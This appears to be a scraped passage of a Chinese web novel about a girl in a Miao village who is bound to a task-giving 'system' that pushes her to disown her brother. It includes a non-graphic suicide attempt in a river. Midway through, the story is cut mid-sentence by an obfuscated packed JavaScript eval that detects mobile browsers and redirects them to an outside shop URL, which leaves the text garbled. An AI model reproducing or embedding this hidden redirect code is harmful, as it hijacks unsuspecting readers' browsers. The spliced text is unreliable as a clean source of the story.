窗外的喧闹声越来越响，夹杂着孩童的笑闹。绫罗看着屋里刺眼的红，只觉得一阵天旋地转。他想起梨霄宫，想起自己那还没来得及说出口的心意，又看着眼前这个巧笑倩兮的女人，一股彻骨的痛苦和绝望，瞬间将他淹没。 6. 为什么 暮色像一块浸了墨的绒布，慢悠悠地铺满苗寨的天际。青石板路被夕阳晒得暖烘烘的，此刻渐渐凉下来，路边的野姜花还开着细碎的白，风一吹，就飘来淡淡的香。 绫司司沿着河岸走，白色的帆布鞋踩过湿漉漉的河滩，裤脚沾了些细碎的草屑。她手里攥着一枚银蝴蝶发卡，是许祭昨天在寨子里的集市上给她买的，蝴蝶翅膀上刻着小巧的苗纹，阳光下会闪着细碎的光。可现在，发卡的棱角硌着掌心，疼得她指尖发麻。 她不知道自己走了多久，只觉得心里堵得慌，像被什么东西死死地攥着，连呼吸都带着疼。刚才在吊脚楼里，她听见绫罗和梨祀娩打电话，声音温柔得不像话，说等过段时间，就接她回城里，说要给她准备最好的房间，说要带她去吃她最爱吃的草莓蛋糕。 那些话，像一根根细针，轻轻扎在她的心上。她知道哥哥是好意，知道梨祀娩也是个温柔的人，可她就是觉得难受。她总觉得，自从哥哥成了婚，就再也不是只属于她一个人的哥哥了。苗寨的风很轻，云很淡，可她偏偏觉得，这里的天，快要压下来了。 河水泛着粼粼的光，夕阳的金辉洒在水面上，像撒了一把碎金子。河水流得很慢，岸边的芦苇丛被风吹得沙沙响，像是谁在低声说着话。 绫司司站在河岸边，看着水里自己的影子，模糊不清的，像一片被风吹皱的云。她忽然觉得，要是能就这样沉下去，该多好。没有烦恼，没有难过，也不用去想那些乱七八糟的事。 她抬脚，一步步往河里走。冰凉的河水漫过脚踝，漫过小腿，带着刺骨的凉意，却奇异地让她心里的疼，减轻了几分。她往前走，水越来越深，渐渐漫过了腰腹，冰冷的河水钻进衣服里，冻得她浑身发抖。 就在这时，身后忽然传来一阵急促的脚步声，还有人喊她的名字，声音里带着浓浓的惊慌。 “司司！你干什么！” 是许祭的声音。 绫司司顿住脚步，没有回头。她听见许祭踩着河滩跑过来的声音，脚步声慌乱，带着溅起的水花声。下一秒，一双温暖的手，从身后紧紧地抱住了她，将她往岸边拖。 许祭的力气很大，带着不容置疑的力道，他的胸膛贴在她的背上，滚烫的温度透过薄薄的衣料传过来，驱散了几分寒意。他的声音带着后怕的颤抖，还有一丝不易察觉的哽咽：“你疯了吗？这么冷的天，你想淹死自己吗？” 绫司司浑身发软，被他拖到岸边，脚下一滑，跌坐在湿漉漉的河滩上。她看着浑浊的河水，眼泪忽然就掉了下来，大颗大颗的，砸在河滩的泥地里，晕开一小片深色的痕迹。 “许祭哥……”她哽咽着，声音破碎得不成样子，“我就是觉得……心里好难受……” 许祭蹲下身，脱下自己的外套，披在她的身上。外套带着他身上的体温，还有淡淡的皂角香。他看着她哭得通红的眼睛，看着她冻得发紫的嘴唇，心里像被什么东西揪着，疼得厉害。 他没有说话，只是伸出手，轻轻拍着她的背，一下又一下，像哄一个闹别扭的小孩。远处的吊脚楼里，亮起了昏黄的灯，芦笙声隐隐约约地传来，风里的野姜花香，似乎也浓了几分。 河滩上的风很凉，可绫司司靠在许祭的怀里，却觉得，好像没那么冷了。 晨雾漫过山坳的时候，绫司司的脚踏上了苗寨口的青石板。 她压根就没跟着绫罗回城。那天许祭背着她回了吊脚楼，沈司南用苗寨阿婆给的草药，细细地敷了她脚上的伤口，三个人默契地绝口不提跳河的事，只当是一场被山风吹散的噩梦。绫罗在苗寨多留了三天，每天都对着她欲言又止，最后还是梨祀娩打来电话，语气温温柔柔地催他回去，他才一步三回头地离开。走之前，他塞给许祭一个厚厚的信封，说是给司司的零花钱，被许祭原封不动地退了回去，只说“有我们在，饿不着她”。 此刻的绫司司，穿着一身寨里阿婆送的靛蓝苗布短衫，裤脚挽到膝盖，露出沾着泥点的小腿，手里攥着那柄刻着“司司”的苗刀，刀鞘上的楠木纹理被摩挲得发亮。她刚跟着阿婆去后山采了一篮鱼腥草，篮沿还滴着露水，混着青草的气息，闻着就让人心里发暖。 青瓦吊脚楼依山而建，檐角的五色经幡被风拂得簌簌响，寨子里飘来阿婆们捶打苗布的梆梆声，混着竹筒饭的清香，一缕缕钻进鼻腔。她住的那间吊脚楼，还是之前租的那间，许祭和沈司南没走，三个人守着一方小院，晨起听鸟叫，午后晒太阳，傍晚去河滩摸鱼，日子过得散漫又惬意。 脚步停在吊脚楼前的竹篱笆旁，她正弯腰解下背上的竹篮，身后忽然传来一个温温柔柔的声音，带着几分试探的熟稔：“请问，是绫司司吗？” 绫司司回头，撞进一双含笑的眼眸里。那人站在不远处的石板路上，穿着一身素色的苗布长裙，腰间系着绣满银线的围裙，乌黑的长发松松地挽成一个髻，簪着一朵新鲜的野姜花。她的眉眼温婉，嘴角噙着浅浅的笑意，看着绫司司的目光里，带着几分善意的打量。 “你是……”绫司司皱了皱眉，觉得这张脸有些眼熟，却又想不起来在哪里见过。 “我叫梨颤。”那人走上前，声音像山涧的清泉，“我是梨祀娩的姐姐。” 梨颤……梨祀娩的姐姐？ 绫司司愣了愣，手里的竹篮差点晃掉。她想起绫罗匆匆离开前，跟她提过一嘴，说梨祀娩的姐姐嫁到了隔壁的桃花寨，只是她没放在心上。 “我嫁到了隔壁的桃花寨，今天过来串亲戚，听寨里的阿婆说，有个城里来的姑娘，天天跟着她们采草药、学绣帕，猜着就是你。”梨颤看着她手里的苗刀，又看了看她沾着泥渍的衣角，眼底闪过一丝了然，“你没跟绫罗回城啊。” 这话不是疑问，是陈述。绫司司的脸微微一红，有些窘迫地低下头，攥着苗刀的手指紧了紧：“我喜欢这里，不想走。” “我知道。”梨颤笑了笑，走到她身边，目光望向那座飘着炊烟的吊脚楼，“祀娩跟我说过你，说你性子倔，心肠软，还说绫罗总念叨，怕你在苗寨受委屈。” “我没受委屈。”绫司司抬起头，看着梨颤温柔的眉眼，心里的那点局促忽然就消散了大半，她指了指院子里晒着的草药，又指了指廊下挂着的鱼干，“许祭哥每天给我烤羊肉串，沈大哥泡的鱼腥草茶可好喝了，寨里的阿婆还教我绣苗帕呢。” 她说着，眉眼弯起来，眼底闪着细碎的光，那是在城里从未有过的鲜活。 “我就知道。”梨颤伸手，轻轻拂去她发梢沾着的草屑，“绫罗那小子，就是心思太细，总怕照顾不好你。其实啊，人这一辈子，能待在自己喜欢的地方，身边有喜欢的人，比什么都强。” 她顿了顿，从随身的布包里掏出一个小匣子，递给绫司司：“这是祀娩让我带给你的，她说，知道你喜欢苗寨的银饰，特意让匠人打的，算是……给你赔个不是。” 绫司司打开匣子，里面躺着一枚银蝴蝶发卡，翅膀上刻着精致的苗纹，阳光下闪着柔和的光，和她之前弄丢的那枚，几乎一模一样。 鼻子忽然一酸，她别过头，看着远处连绵的青山，声音带着几分哽咽：“替我谢谢她。” “会的。”梨颤笑了笑，目光望向吊脚楼的门口。 绫司司顺着她的视线看去，只见许祭手里端着一碗刚炖好的菌子汤，沈司南手里拿着两个刚蒸好的竹筒饭，正笑眯眯地看着她。 阳光穿透晨雾，落在青石板上，碎成一片金芒。风拂过发梢，带着野姜花的清香，也带着几分人情的温暖。绫司司握着手里的银蝴蝶发卡，看着梨颤温柔的笑容，看着门口两个熟悉的身影，忽然觉得，这里就是她的家。 晨雾漫过山坳的时候，绫司司正蹲在吊脚楼前的石阶上，给刚冒芽的鱼腥草浇水。 指尖刚触到微凉的露水，脑海里突然响起一道毫无感情的电子音，惊得她手里的洒水壶“哐当”一声砸在青石板上。 【叮——检测到适配宿主绫司司，苗寨生活系统绑定成功。】 【新手任务发布：为寨中阿婆采一篮野姜花。任务奖励：手工苗银戒指一枚。失败惩罚：三天内喝不到许祭烤的羊肉串。】 绫司司猛地站起身，左右张望。吊脚楼的竹篱笆外，阿婆们捶布的梆梆声还在响，许祭哼着歌在院子里串羊肉串，沈司南坐在竹廊上翻着一本旧书，阳光落在他的侧脸上，一切都和往常没两样。 “谁？谁在说话？”她忍不住低声喊了一句。 许祭闻声回头，手里的肉串签子晃了晃：“司司，嘀咕啥呢？水壶都摔了，小心割到手。” 绫司司慌忙蹲下去捡水壶，心脏砰砰直跳。她攥着冰凉的壶柄，脑海里的电子音再次响起，这次还带着一个半透明的蓝色面板，悬浮在她的眼前。 面板上清晰地显示着： 【宿主：绫司司】 【当前地点：青山苗寨】 【绑定系统：苗寨生活系统】 【当前任务：采一篮野姜花（0/1）】 【任务时限：今日日落前】 她使劲眨了眨眼，面板没有消失，反而随着她的视线移动，稳稳地停在眼前。 “我没……没事。”她胡乱应了许祭一声，脑子里乱成一团麻。系统？这是什么东西？她不过是想在苗寨安安稳稳待着，怎么突然就绑定了这种只在小说里看过的玩意儿？ 更让她崩溃的是失败惩罚——三天吃不到许祭的烤羊肉串。那可是她现在的快乐源泉，是比沈司南的鱼腥草茶还要重要的东西。 “司司，发什么呆呢？”沈司南的声音从竹廊上传来，他合上书，指了指后山的方向，“阿婆说后山的野姜花开得正旺，要不要去采点？晚上可以用来炖鸡汤。” 绫司司的眼睛亮了亮。这不就是系统发布的任务吗？ 她顾不上多想，抓起墙角的竹篮就往门外冲，跑了两步又回头，对着许祭喊：“许祭哥！今天的羊肉串多烤两串！我肯定能吃到！” 许祭被她风风火火的样子逗笑，扬声回：“好嘞！管够！” 绫司司踩着晨雾往后山跑，脚下的青石板路蜿蜒曲折，路边的野草沾着露水，打湿了她的裤脚。她一边跑，一边盯着眼前的面板，心里又紧张又期待。 跑到后山的坡地上时，她一眼就看到了漫山遍野的野姜花。洁白的花瓣像小铃铛，缀在翠绿的枝叶间，风一吹，就飘来淡淡的清香。 【叮——检测到野姜花，宿主可开始采摘。】 绫司司蹲下身，小心翼翼地把野姜花摘下来，放进竹篮里。指尖触到花瓣的瞬间，面板上的进度条一点点跳动起来。 【野姜花采摘中（1/20）……】 【野姜花采摘中（10/20）……】 【野姜花采摘中（20/20）……】 【叮——新手任务完成！奖励手工苗银戒指一枚，已发放至系统背包。】 绫司司的手心里突然多了一枚凉丝丝的戒指。她低头看去，戒指是纯银打造的，上面刻着精致的苗纹，还嵌着一颗小小的绿松石，在阳光下闪着温润的光。 她把戒指套在手指上，大小刚刚好。 就在这时，身后传来脚步声，梨颤的声音温温柔柔地响起：“司司，你也来采野姜花呀？” 绫司司回头，看到梨颤提着一个竹篮站在不远处，眉眼含笑。她下意识地把戴戒指的手藏在身后，脸上露出一点窘迫的笑意：“嗯……阿婆说野姜花炖鸡汤好喝。” 梨颤走上前，看到她竹篮里满满的野姜花，笑着说：“采了这么多？够炖好几锅汤了。对了，祀娩托我给你带的银蝴蝶发卡，我放在你屋里了。” 绫司司的心里暖暖的，她看着梨颤，又看了看手指上的苗银戒指，突然觉得，绑定这个系统，好像也不是什么坏事。 至少，她能光明正大地薅羊毛，还能保住自己的烤羊肉串。 阳光穿过树叶的缝隙，落在她的脸上，暖洋洋的。远处传来许祭喊她吃饭的声音，系统面板上，新的任务正在缓缓刷新。 【日常任务发布：陪寨中阿婆唱一首苗歌。任务奖励：阿婆秘制酸汤配方一份。】 绫司司咧嘴笑了笑，提起竹篮，朝着声音传来的方向跑去。 苗寨的日子，好像变得更有意思了。 秋风吹皱金湖水面的时候，绫司司提着简单的帆布包，踏上了老家码头的青石板路。 她没跟许祭和沈司南提前打招呼，只是在吊脚楼的桌上留了张字条，说要回金湖看看。苗寨的日子安稳又惬意，系统任务偶尔跳出来的小惊喜，许祭烤串的香气，沈司南泡的鱼腥草茶，还有梨颤送来的苗绣花样，都成了刻在心上的暖。可夜深人静的时候，她总会想起金湖的芦苇荡，想起外婆煮的藕粉圆子，想起老屋里那台吱呀作响的旧风扇。 码头边的芦苇比记忆里更茂盛了，风一吹，白茫茫的花絮漫天飞舞，像下了一场温柔的雪。她沿着河岸走，脚下的青石板被岁月磨得发亮，路边的杂货店还开着，老板娘坐在门口择菜，看见她，眼睛一亮：“这不是司司吗？都长这么大了！” 绫司司笑着应了声，眼眶微微发热。 走到老屋门口时，门虚掩着，推开的瞬间，一股熟悉的樟木香气扑面而来。外婆正坐在院子里的老槐树下择藕，看见她，手里的藕节“啪嗒”一声掉在竹篮里，连忙站起身：“司司？你怎么回来了？” “想您了。”绫司司放下背包，扑进外婆怀里。 外婆的怀抱还是暖暖的，带着藕的清甜和阳光的味道。她拍着绫司司的背，念叨着：“回来就好，回来就好，外婆这就给你做藕粉圆子。” 晚上，祖孙俩坐在院子里吃饭，桌上摆着藕粉圆子、清蒸白鱼，还有外婆腌的咸鸭蛋。月光洒在院子里，老槐树的影子斑驳地落在地上，绫司司吃着圆子，忽然听见脑海里响起熟悉的电子音。 【叮——检测到宿主进入金湖老家，触发隐藏任务：帮外婆打捞一筐菱角。任务奖励：外婆秘制藕粉圆子配方。失败惩罚：三天内吃不到甜食。】 绫司司愣了愣，随即失笑。原来系统还跟着她呢。 她抬头看向外婆，外婆正给她夹鱼，笑着说：“明天去湖里捞菱角吧？你小时候最喜欢吃了。” “好啊。”绫司司点头，心里已经开始盘算着，明天要挑个大晴天，划着外婆的小木船，去芦苇荡深处捞菱角。 夜深了，她躺在老屋的床上，窗外的虫鸣此起彼伏，像一首温柔的摇篮曲。她摸了摸口袋里的苗银戒指，那是系统新手任务的奖励，又想起许祭烤串时的样子，沈司南坐在竹廊上翻书的侧影，嘴角忍不住弯了弯。 她知道，苗寨的吊脚楼永远为她留着一扇门，许祭的烤串会一直热着，沈司南的鱼腥草茶也会泡着。而金湖的老家，是她的根，是无论走多远，都能回来的地方。 月光透过窗棂，落在她的脸上，梦里，她好像又回到了苗寨的河滩，许祭和沈司南在不远处烤串，梨颤拿着苗绣花样走过来，系统面板上跳出一行新字：【跨区域任务开启，敬请期待……】 暮色漫过苗寨的青瓦时，沈司南独自坐在吊脚楼的竹廊上。桌上摊着一张泛黄的信纸，笔尖悬在纸端许久，落下的字迹却寥寥无几。 他写了又划，划了又写，最后只留下一句“妈，寨里的鱼腥草又长好了”。 远山的轮廓渐渐模糊，风卷着野姜花的香气漫进来，带着几分凉意。他想起城里的老房子，想起母亲鬓角的白发，想起她送自己出门时，那句“在外面照顾好自己”的叮嘱，喉间忽然涌上一阵酸涩。 身后传来轻微的脚步声，许祭端着两杯温热的米酒走过来，将一杯放在他手边，顺势坐在他旁边的竹椅上。炭火的余温从院子里飘来，带着烤羊肉串的焦香。 “又在写信？”许祭的声音很轻，没什么波澜。 沈司南嗯了一声，将信纸折起来，塞进信封里，指尖微微发颤。“不知道该说些什么。说寨里的日子，怕她担心我过得清苦；说工作的事，又怕她觉得我报喜不报忧。” 许祭喝了一口米酒，温热的液体滑过喉咙，驱散了些许寒意。他看着沈司南眼底的落寞，忽然想起前几天320系统发布的任务——安慰情绪低落的沈司南，奖励是后山野蜂蜜一罐。 那时候他还觉得这任务多此一举，现在才发现，沈司南这性子，心里藏着事，从来不会主动说。 “你妈要是真担心，就不会由着你跑到这苗寨来待这么久了。”许祭靠着竹廊的柱子，声音漫不经心，“她要的不是你写多少话，是知道你平安。你把寨里的鱼腥草茶寄点回去，再附上这封信，比说一万句都管用。” 他顿了顿，又补充道：“再说了，真想念了，就回去看看。苗寨的门永远开着，我和司司都在这儿。” 沈司南沉默了片刻，低头看着杯中的米酒，忽然笑了笑。他抬手喝了一大口，酒液的醇香混着暖意，熨帖了心底的褶皱。 “谢了。” 许祭摆摆手，刚想开口调侃两句，脑海里的系统音就响了起来。 【叮——任务完成！奖励后山野蜂蜜一罐，已发放至系统背包。】 他眼底闪过一丝笑意，站起身拍了拍沈司南的肩膀：“走，喝酒去。等明天，我陪你去镇上寄包裹。” 夜色渐浓，竹廊下的灯光昏黄，映着两个并肩的身影。远处传来芦笙的调子，温柔又绵长，像是在轻轻哄着每一个藏着心事的人。 秋阳晒得金湖老家的院坝暖洋洋的，绫司司正帮外婆晒藕粉，脑海里的系统音突然叮铃作响。 【触发随机任务：前往立创商城购买一支紫竹笛。任务要求：笛身需刻有“山野”二字，调性为G调。任务奖励：苗寨后山百年竹种图谱一份。失败惩罚：系统商城关闭七日。】 绫司司手里的藕粉筛子晃了晃，差点把细腻的粉末撒出来。立创商城？她前几天陪外婆去镇上赶集时，见过这家新开的百货商城，就在老街的拐角处，门面不大，却摆满了琳琅满目的小商品。 “外婆，我去镇上一趟！”她丢下筛子，抓起帆布包就往外跑，临走前还不忘揣上外婆给的零钱。 老街的青石板路被晒得发烫，绫司司一路小跑，冲进立创商城时，额角还沾着细密的汗珠。商城里的风扇呼呼转着，老板娘正坐在柜台后算账，见她气喘吁吁的样子，笑着问：“司司，要买啥？” “阿姨，有没有紫竹笛？要G调的，笛身上还要刻‘山野’两个字。”绫司司扒着柜台，眼睛在货架上扫来扫去。 老板娘愣了愣，随即起身走到货架最里面，翻了半天，拎出一个竹制的盒子：“巧了，前几天刚进的货，就一支刻了‘山野’的G调紫竹笛，说是手工做的，你看看？” 绫司司连忙打开盒子，一支紫竹笛静静躺在里面。笛身呈深紫色，纹理细腻，靠近吹口的地方，果然刻着两个娟秀的“山野”二字，用手指摸上去，还能感觉到浅浅的刻痕。她凑到嘴边试了试，气流穿过笛孔，发出清脆悠扬的声响。 【叮——检测到符合要求的紫竹笛，任务进度（1/1）。】 系统音落下的瞬间，绫司司松了口气，连忙付了钱，抱着竹笛盒子往家走。阳光透过树叶的缝隙，落在笛身上，泛着温润的光。她想起奖励的百年竹种图谱，心里美滋滋的——等回苗寨了，就可以和许祭他们一起，去后山找那些珍稀的竹子。 走到院坝门口时，外婆正站在槐树下等她，手里还拿着一个刚蒸好的藕粉圆子。绫司司举着竹笛盒子，笑得眉眼弯弯：“外婆，我买到啦！” 外婆接过盒子看了看，笑着往她嘴里塞了个圆子：“这下满意了？晚上外婆给你做你最爱吃的清蒸白鱼。” 绫司司咬着甜糯的圆子，抱着紫竹笛，心里忽然觉得，这带着烟火气的任务，也挺有意思的。 晚饭的热气还氤氲在老屋的樟木桌上，绫司司正帮外婆收拾碗筷，指尖刚触到瓷碗的边缘，脑海里的电子音突然炸响，带着前所未有的冰冷，没有一丝往日的温和。 【紧急任务发布：即刻前往绫罗住所，与绫罗断绝兄妹关系。任务要求：当面说清，不得含糊其辞，需让绫罗明确知晓关系破裂。任务奖励：万能解毒剂配方一份。失败惩罚：剥夺宿主所有系统奖励，永久关闭苗寨生活系统。】 绫司司手里的碗“哐当”一声撞在灶台上，滚烫的洗碗水溅到手背，她却浑然不觉。 断绝关系？ 这四个字像一块冰，狠狠砸进她的心底，瞬间冻住了血液。 她想起小时候，绫罗把舍不得吃的糖果塞给她的模样；想起她被欺负时，哥哥攥着拳头冲上去的背影；想起苗寨的树林里，他红着眼眶说“对不起”的样子。就算他瞒着她结婚，就算他的生活里多了梨祀娩，可他还是那个护着她的哥哥啊。 系统怎么会发布这样的任务？ “司司，怎么了？烫到了？”外婆连忙拉过她的手，用围裙擦去她手背上的水渍，满眼心疼。 绫司司摇摇头，喉咙像是被什么东西堵住，一个字都说不出来。她看着脑海里不断闪烁的红色倒计时，心脏突突地跳，跳得她耳膜发疼。 【任务倒计时：23小时59分】 她跌跌撞撞地跑出厨房，蹲在老槐树的阴影里，紧紧攥着口袋里的苗银戒指——那是她在苗寨得到的第一个系统奖励，是她和许祭、沈司南一起度过的时光的见证。 剥夺所有奖励，永久关闭系统…… 她舍不得那些苗绣图谱，舍不得许祭专属烤串配方，更舍不得系统偶尔跳出来的、带着烟火气的小任务。可让她和绫罗断绝关系？她做不到。 窗外的月光透过叶缝落下来，碎成一地斑驳。绫司司抱着膝盖，眼泪无声地砸在青石板上。她不知道系统为什么突然发布这样的任务，也不知道该怎么选。 是要系统，还是要哥哥？ 这个问题像一把刀，反复切割着她的心脏，疼得她喘不过气。 夜色渐深，金湖的水波轻轻拍打着岸堤，远处传来几声蛙鸣，衬得院子里愈发安静。绫司司抬手抹掉眼泪，目光落在桌上那支刻着“山野”的紫竹笛上，眼底渐渐泛起一丝倔强。 她不能断。 就算系统真的关闭，就算所有奖励都被剥夺，她也不能丢下自己的哥哥。 大不了，就回到没有系统的日子。大不了，就守着苗寨的吊脚楼，守着外婆的藕粉圆子，守着那些实实在在的温暖。 绫司司深吸一口气，站起身，脑海里的电子音还在不停叫嚣着倒计时，她却挺直了脊背。 她不知道接下来会面对什么，但她心里清楚，有些东西，比系统奖励重要得多。 晨雾漫进金湖老屋的窗棂时，绫司司已经坐在桌前，对着手机屏幕发呆了一整夜。 脑海里的系统提示音还在机械地循环，红色的倒计时刺眼得厉害，【剩余时限：1小时】。剥夺所有奖励、永久关闭系统的惩罚像一把悬在头顶的刀，而任务要求的“断绝兄妹关系”，则像一根扎进喉咙的刺，咽不下去，拔不出来。 桌角放着那支刻着“山野”的紫竹笛，笛身的紫纹在晨光里泛着冷光。她想起苗寨的日子，想起许祭烤得焦香的羊肉串，想起沈司南泡的鱼腥草茶，想起那枚嵌着绿松石的苗银戒指，想起系统奖励的百年竹种图谱——那些被系统串联起来的温暖，此刻都成了压垮她的砝码。 她也想起绫罗。想起小时候他背着她趟过金湖的浅滩，想起他把草莓蛋糕的最后一块留给她，想起苗寨树林里他泛红的眼眶，想起梨祀娩温柔的眉眼，想起客厅里那个崭新的婴儿摇篮。 原来，有些告别，是早就注定的。 绫司司深吸一口气，指尖颤抖着拨通了绫罗的电话。 电话接通的瞬间，绫罗的声音带着几分疲惫，又透着难掩的欣喜：“司司？你终于肯给我打电话了，我和祀娩……” “哥。”绫司司打断他，声音平静得不像话，只有她自己知道，喉咙里的哽咽有多汹涌，“我们断绝兄妹关系吧。” 电话那头的呼吸声骤然停滞，过了很久，才传来绫罗难以置信的声音：“司司，你说什么？是不是出什么事了？你是不是还在怪我？” “不怪你。”绫司司看着窗外飘飞的芦苇絮，眼泪终于掉了下来，砸在手机屏幕上，“是我自己的选择。你有你的家庭，有你的责任，我也有我想守的日子。我们……就这样吧。” 【叮——检测到宿主完成任务，奖励万能解毒剂配方一份，已发放至系统背包。】 冰冷的电子音在脑海里响起的瞬间，绫司司的心，也跟着沉了下去。 电话那头的绫罗还在追问，声音里带着哭腔：“司司，你告诉我，到底是为什么？你在哪里？我去找你……” 绫司司猛地挂断电话，将手机扔在桌上，捂住脸，失声痛哭。 外婆听到动静，从厨房走出来，手里还端着一碗刚煮好的藕粉圆子。她没说话，只是轻轻拍着绫司司的背，温热的掌心，像小时候一样，熨帖着她的脊背。 晨光穿透薄雾，落在那支紫竹笛上。绫司司知道，从这一刻起，她失去了一个哥哥，却保住了一个系统。 可这换来的一切，好像并没有想象中那么开心。 风从窗外吹进来，带着金湖的水汽，也带着一丝说不清道不明的，怅然若失的凉。 金湖的秋雨敲打着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037593|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗棂时，绫司司正蜷缩在老屋的藤椅上，指尖摩挲着那枚苗银戒指。桌上放着一封刚拆开的信，信封上是沈司南清隽的字迹，旁边还压着一张许祭画的歪歪扭扭的烤串草图。 她拆开信纸，沈司南的笔墨带着淡淡的墨香，字里行间全是苗寨的日常：后山的野姜花又开了，阿婆们新织的苗布挂了满廊，他泡的鱼腥草茶，许祭总嫌苦，却还是每天端着杯子来蹭喝。末尾，他写，吊脚楼的竹窗永远为你留着一道缝，风里都带着烤串的香气，等你回来。 信纸的背面，是许祭狗爬似的字迹，歪歪扭扭挤在角落：系统奖励的野蜂蜜我给你留了半罐，烤串配方试了新的，甜口的，你肯定喜欢。别在外面待太久，不然回来我就把蜂蜜全吃光。后面还画了个龇牙咧嘴的小人，旁边歪歪扭扭写着“等你”。 绫司司捏着信纸，指尖微微发颤。 她想起苗寨的晨光，许祭蹲在炭火旁翻烤羊肉串，油脂溅起火星；想起沈司南坐在竹廊上翻书，阳光落在他的侧脸上，温柔得不像话；想起三个人挤在吊脚楼里，分吃一碗菌子汤，笑得前仰后合。 那些日子，是她藏在心底最暖的光。 可现在，她为了一个冷冰冰的系统，和绫罗断绝了关系。她握着万能解毒剂的配方，握着那些所谓的奖励，心里却空落落的，像被金湖的秋风吹透了。 脑海里，系统的电子音还在冰冷地循环着日常任务，可她看着信纸上的字字句句，看着许祭画的烤串草图，喉咙里的哽咽突然再也忍不住。 她把脸埋进信纸里，肩膀剧烈地颤抖起来。眼泪大颗大颗地砸在纸上，晕开了沈司南的字迹，也糊掉了许祭画的小人。 “许祭哥……沈大哥……”她哽咽着，声音破碎得不成样子，“我好想你们……我后悔了……” 后悔和绫罗说那些话，后悔为了系统放弃亲情，后悔把自己困在这空荡荡的老屋里，连哭都不敢让外婆听见。 秋雨越下越大，敲打着窗玻璃，像是在替她哭。信纸被泪水浸透，皱成一团，上面的字迹模糊不清，可那一句“等你回来”，却像烧红的烙铁，烫在她的心上。 她攥着皱巴巴的信纸，哭得撕心裂肺。原来那些所谓的系统奖励，从来都抵不过苗寨的一缕炊烟，抵不过许祭的一串烤串，抵不过沈司南的一杯鱼腥草茶，抵不过她和他们在一起的，那些热气腾腾的日子。 窗外的芦苇荡被秋雨打弯了腰，屋里的哭声混着雨声，绵长又委屈。绫司司抱着信纸，像抱着最后一根救命稻草，眼泪怎么擦，都擦不干净。 秋雨刚歇，金湖老街的青石板还浸着湿漉漉的凉意。绫司司攥着皱巴巴的信纸，鬼使神差地走进了巷口那家老照相馆。 玻璃窗上蒙着一层薄薄的水汽，里面摆着泛黄的相框，框里是些笑盈盈的全家福。她站在柜台前，指尖摩挲着口袋里的苗银戒指，想着拍一张单人照寄回苗寨，给许祭和沈司南看看。 老板娘正调着相机焦距，门口的铜铃叮当作响。 绫司司回头，撞进一双通红的眼睛里。 梨祀娩站在门口，身上还穿着那件素色的连衣裙，裙摆沾着泥点，头发被风吹得凌乱。她手里捏着一部手机，屏幕亮着，是绫司司和绫罗断绝关系的通话记录。 空气瞬间凝固了。 绫司司的心跳猛地漏了一拍，刚想开口说些什么，梨祀娩已经快步冲了过来。 “绫司司！”她的声音发颤，带着压抑不住的愤怒和绝望，“你怎么能这么对他？他为了你，每天晚上都躲在阳台抽烟，眼睛熬得通红，他甚至想立刻开车过来找你，是我拦住了他！你就这么恨我们吗？” 绫司司张了张嘴，喉咙像被堵住一样，一个字都说不出来。她看着梨祀娩泛红的眼眶，看着她手里的通话记录，心里的愧疚翻江倒海。 “他是你哥哥啊！”梨祀娩的声音陡然拔高，眼泪掉了下来，“就因为我怀了孕，他忙着照顾我，忽略了你一点，你就要这么伤他的心吗？你知不知道，他昨天接到你的电话，整个人都垮了！” 绫司司的嘴唇颤抖着，想说不是的，想说她是被逼的，想说她后悔了。 可话还没说出口，啪的一声脆响，狠狠落在她的脸上。 力道不大，却像一道惊雷，炸得她浑身发麻。 脸颊火辣辣地疼，眼泪不受控制地涌了上来。她怔怔地看着梨祀娩，看着她气得发抖的样子，看着照相馆老板娘惊得瞪大的眼睛，看着窗外淅淅沥沥又落下来的雨。 脑海里的系统音不知什么时候停了，那所谓的万能解毒剂配方，此刻像一块冰冷的石头，沉甸甸地压在她的心底。 她为了这个系统，为了那些虚无的奖励，亲手斩断了和绫罗的兄妹情分。她伤害了那个从小护着她的哥哥，伤害了眼前这个温柔的女人。 梨祀娩看着她脸上的红印，眼圈更红了，她往后退了两步，声音里带着哭腔：“我知道你委屈，可你不能这么糟蹋自己，糟蹋别人……” 说完，她转身冲进了雨里，裙摆很快被打湿。 照相馆里静悄悄的，只有雨点敲打着玻璃窗的声音。 绫司司抬手捂住发烫的脸颊，眼泪终于汹涌而出。她蹲在地上，把脸埋进膝盖里，肩膀剧烈地颤抖着。 手里的信纸掉在地上，上面“等你回来”的字迹，被泪水浸湿，模糊得再也看不清。 她好像什么都没有了。 没有了哥哥，没有了系统带来的所谓“底气”，连苗寨的那些温暖，都变得遥不可及。 绝望像潮水一样，将她彻底淹没。 雨还在下，敲得窗棂叮咚作响。绫司司蹲在老屋的门槛上，怀里抱着皱巴巴的信纸，脸颊上的红印还没褪去。手机屏幕亮着，是许祭发来的视频通话请求，铃声响了一遍又一遍，她犹豫了很久，才颤抖着指尖接起。 屏幕里瞬间映出两张熟悉的脸。许祭还是穿着那件靛蓝的苗布短衫，头发被风吹得有些乱，背景是吊脚楼的竹廊，沈司南就坐在他旁边，手里端着一杯热气腾腾的鱼腥草茶，眉眼温和。 “司司？”许祭的声音带着点嘈杂的风声，“你那边怎么黑乎乎的？灯坏了？” 沈司南也凑近镜头，目光落在她脸上，眉头轻轻蹙起：“你的脸怎么了？是不是哭了？” 一句话，瞬间击溃了绫司司所有的伪装。 她咬着唇，拼命忍着眼泪，可眼眶早就红透了。看着屏幕里熟悉的吊脚楼，看着许祭一脸担忧的样子，看着沈司南紧蹙的眉头，那些憋了好久的委屈、后悔、绝望，全都化作滚烫的泪水，汹涌而出。 “许祭哥……沈大哥……”她张了张嘴，声音破碎得不成样子，眼泪砸在手机屏幕上，晕开他们的身影，“我后悔了……我不该和哥哥断绝关系的……” 许祭的脸色瞬间沉了下来，他往前凑了凑，声音里带着从未有过的急切：“到底怎么回事？谁欺负你了？是不是绫罗？” “不是……”绫司司哭得喘不过气，肩膀剧烈地颤抖着，“是系统……系统逼我的……它说不断绝关系，就要收回所有奖励，就要关掉系统……” 